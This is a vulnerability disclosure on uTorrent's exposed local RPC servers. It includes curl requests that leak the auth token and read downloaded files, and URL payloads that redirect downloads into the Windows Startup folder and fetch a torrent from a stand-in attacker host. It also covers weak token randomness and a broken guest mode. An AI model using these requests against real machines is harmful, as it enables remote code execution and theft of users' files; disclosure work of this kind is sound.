By default, utorrent create an HTTP RPC server on port 10000 (uTorrent classic) or 19575 (uTorrent web). There are numerous problems with these RPC servers that can be exploited by any website using XMLHTTPRequest(). To be clear, visiting *any* website is enough to compromise these applications.

uTorrent web (http://web.utorrent.com)
======================================

As the name suggests, uTorrent Web uses a web interface and is controlled by a browser as opposed to the desktop application. By default, uTorrent web is configured to startup with Windows, so will always be running and accessible. For authentication, a random token is generated and stored in a configuration file which must be passed as a URL parameter with all requests. When you click the uTorrent tray icon, a browser window is opened with the authentication token populated, it looks like this:

http://127.0.0.1:19575/gui/index.html?localauth=localapic3cfe21229a80938:

While not a particularly strong secret (8 bytes of std::random_device), it at least would make remote attacks non-trivial. Unfortunately however, the authentication secret is stored inside the webroot (wtf!?!?!?!), so you can just fetch the secret and gain complete control of the service.

$ curl -si http://localhost:19575/users.conf
HTTP/1.1 200 OK
Date: Wed, 31 Jan 2018 19:46:44 GMT
Last-Modified: Wed, 31 Jan 2018 19:37:50 GMT
Etag: "5a721b0e.92"
Content-Type: text/plain
Content-Length: 92
Connection: close
Accept-Ranges: bytes

localapi29c802274dc61fb4        bc676961df0f684b13adae450a57a91cd3d92c03        94bc897965398c8a07ff    2       1

This requires some simple dns rebinding to attack remotely, but once you have the secret you can just change the directory torrents are saved to, and then download any file anywhere writable. For example:

# change the download directory to the Startup folder.
http://127.0.0.1:19575/gui/?localauth=token:&action=setsetting&s=dir_active_download&v=C:/Users/All%20Users/Start%20Menu/Programs/Startup

# download a torrent containing calc.exe
http://127.0.0.1:19575/gui/?localauth=token:&action=add-url&url=http://attacker.com/calc.exe.torrent

I wrote a working exploit for this attack, available here:

http://lock.cmpxchg8b.com/Moer0kae.html

The authentication secret is not the only data accessible within the webroot - settings, crashdumps, logs and other data is also accessible. As this is a complete remote compromise of the default uTorrent web configuration, I didn't bother looking any further after finding this.

uTorrent Classic (https://www.utorrent.com/downloads/win)
=========================================================

By default utorrent Classic creates a JSON RPC server on port 10000, it's not clear to me that this was intentionally exposed to the web, as many endpoints crash or interfere with the UI. Here are some example actions that websites can take:

http://lock.cmpxchg8b.com/utorrent-crash-test.html

Nevertheless, browsing through the available endpoints I noticed that the /proxy/ handler is enabled and exposed by default, and allows any website to enumerate and copy any files you've downloaded. To be clear, any website you visit can read and copy every torrent you've downloaded. This works with the default configuration.

This requires brute forcing the "sid" which is a small integer that is incremented once for each torrent, this can be brute forced in seconds.

e.g.

$ curl -sI 'http://localhost:10000/proxy/0/?sid=2&file=0&callback=file'
HTTP/1.1 200 OK
Content-Type: audio/mpeg
Server: BitTorrentProxy/1.0
Connection: close
Accept-Ranges: bytes
ETag: "8FD54C339FE8B8A418CE2299AF2EADD9B1715D7A"

file is the index in a multi-file torrent (here there is just one file) and callback is a javascript callback. This means any website can find out what you've downloaded, and then just copy it from you - all the data.

I made a simple demo, screenshot of how it's supposed to look attached. It's really slow, but demonstrates that a website can enumerate and read any data you've downloaded via uTorrent.

http://lock.cmpxchg8b.com/Ahg8Aesh.html

Here is how I reproduced:

* On a fresh Windows 7 VM, install utorrent 3.5 (44294). Accept all default settings.
* File -> Add torrent from URL..., enter https://archive.org/download/SKODAOCTAVIA336x280/SKODAOCTAVIA336x280_archive.torrent
* When the torrent is finished (it's only about 5MB), visit this URL in Chrome: http://lock.cmpxchg8b.com/Ahg8Aesh.html
* Click "Start Attack"
* Wait a few minutes.

The page should have figured out the size and file type, and gives an option to steal the files. See screenshot attached.

----------

The utorrent binary disables ASLR and /GS. This is a really bad idea. (Note that the binary is UPX packed, but this doesn't change any security properties).

----------

I noticed that utorrent is using unmodified mersenne twister to generate authentication tokens and cookies, session identifiers, pairing keys, and so on. The PRNG is seeded with GetProcessId(), GetTickCount() etc. That is already not great quality seed data, but mersenne twister makes no guarantees that someone who can view sample output can't reconstruct the state of the PRNG.

This is actually one of the FAQs on the mersenne twister site:

http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/efaq.html

This allows anyone to reconstruct things like pairing keys, webui session cookies, etc, etc. You can sample unlimited prng output, so this is a serious design flaw.

----------

Finally, a minor issue - the documentation for the "guest" account feature says many actions are disabled for security, but I tested it and that it plain isn't true:

$ curl -si 'http://guest@localhost:10000/gui/?action=getsettings&callback=error&btapp='
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 16572
Content-Type: text/javascript
Set-Cookie: GUID=6yY1pkIHHMvvHo8tgOYu; path=/
Cache-Control: no-cache

{"build":44090,"settings": [
["install_modification_time",0,"0",{"access":"Y"}]
...

Perhaps this got broken at some point, but this feature is web-accessible, so this should probably be fixed (or suitable warnings added). I can't imagine many users enabled this, but those that did probably expected the security boundaries described in the documentation to be enforced.